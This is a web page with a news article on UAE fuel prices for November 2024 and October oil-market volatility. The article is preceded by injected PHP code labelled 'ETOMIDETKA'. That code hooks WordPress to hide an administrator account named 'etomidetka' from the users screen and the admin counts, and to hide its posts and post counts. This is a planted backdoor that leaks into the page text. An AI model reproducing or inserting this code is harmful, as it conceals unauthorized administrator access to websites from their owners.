//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); UAE November 2024 Petrol and Diesel Prices Announced
Connect with us

News

UAE November 2024 Petrol and Diesel Prices Announced

Published

2 months ago

on

UAE November 2024 Petrol and Diesel Prices Announced

UAE November 2024 Petrol and Diesel Prices Announced. The UAE fuel price committee has officially announced the petrol and diesel prices for November 2024, which will come into effect on November 1. This development follows two consecutive months of price drops, with November seeing an upward trend.

New Fuel Prices Starting November 1

The revised fuel prices for November 2024 are as follows:

  • Super 98 petrol: Dh2.74 per litre (up from Dh2.66 in October)
  • Special 95 petrol: Dh2.63 per litre (up from Dh2.54 in October)
  • E-Plus 91 petrol: Dh2.55 per litre (up from Dh2.47 in October)
  • Diesel: Dh2.67 per litre (up from Dh2.60 in October)

These adjustments reflect an increase in fuel prices after declines in September and October, signaling a shift in market dynamics.

October Volatile Oil Market: Key Insights

October 2024 was marked by significant volatility in the global oil market. Brent crude futures started the month at approximately $92 per barrel, briefly spiking to $96 due to geopolitical tensions. However, these gains were short-lived, with prices dipping to about $84 per barrel by month-end.

Factors Driving Oil Market Volatility:

  1. Geopolitical Tensions: Temporary spikes were observed due to geopolitical issues, but they were outweighed by economic concerns.
  2. Economic Growth Concerns: Weakening economic conditions in major economies like the US and Europe, compounded by inflation and high-interest rates, led to fears of demand destruction.
  3. US Gasoline Demand: A significant drop in gasoline deliveries to two-decade lows indicated a substantial decline in demand, impacting global oil prices.
  4. Emerging Market Challenges: Countries facing currency depreciation and reduced subsidies saw sharper rises in fuel prices, further affecting demand.

Despite these challenges, there were positive indicators:

  • Resilient Growth in Major Economies: Countries like China, India, and Brazil continued to experience strong economic growth, which supported global oil demand.
  • OPEC+ Production Cuts: Ongoing production restrictions by OPEC+ played a stabilizing role, preventing steeper declines in oil prices.

Mixed Oil Price Projections for November

The outlook for November 2024 remains mixed:

  • Potential Upside Factors: Continued OPEC+ production cuts and potential geopolitical disruptions could lead to higher prices.
  • Potential Downside Factors: Slowing global economic growth and the impact of a strong US dollar could put downward pressure on oil prices.

Analysts are divided, with some forecasting slight price increases while others anticipate stability or further declines.

How Are UAE Fuel Prices Determined?

Since 2015, the UAE’s petrol and diesel prices have been linked to international oil markets. The fuel price committee, led by the undersecretary of the Ministry of Energy and supported by members from the energy and finance ministries, as well as executives from Adnoc Distribution and Emirates National Oil Company (ENOC), oversees these pricing decisions.

The committee bases its pricing on a combination of global market averages and operational costs incurred by distribution companies, ensuring that local prices reflect global trends without being solely dependent on any single market.

Conclusion

The UAE fuel price increase for November 2024 comes amidst a backdrop of global economic uncertainty and market fluctuations. While production cuts and geopolitical factors could support oil prices, challenges such as economic slowdowns and strong currency impacts might keep the market on edge.

For consumers and businesses in the UAE, these changes are a reminder of the intricate balance between global market trends and domestic economic policies.

Related Topics:
Click to comment

Leave a Reply

Your email address will not be published. Required fields are marked *

Trending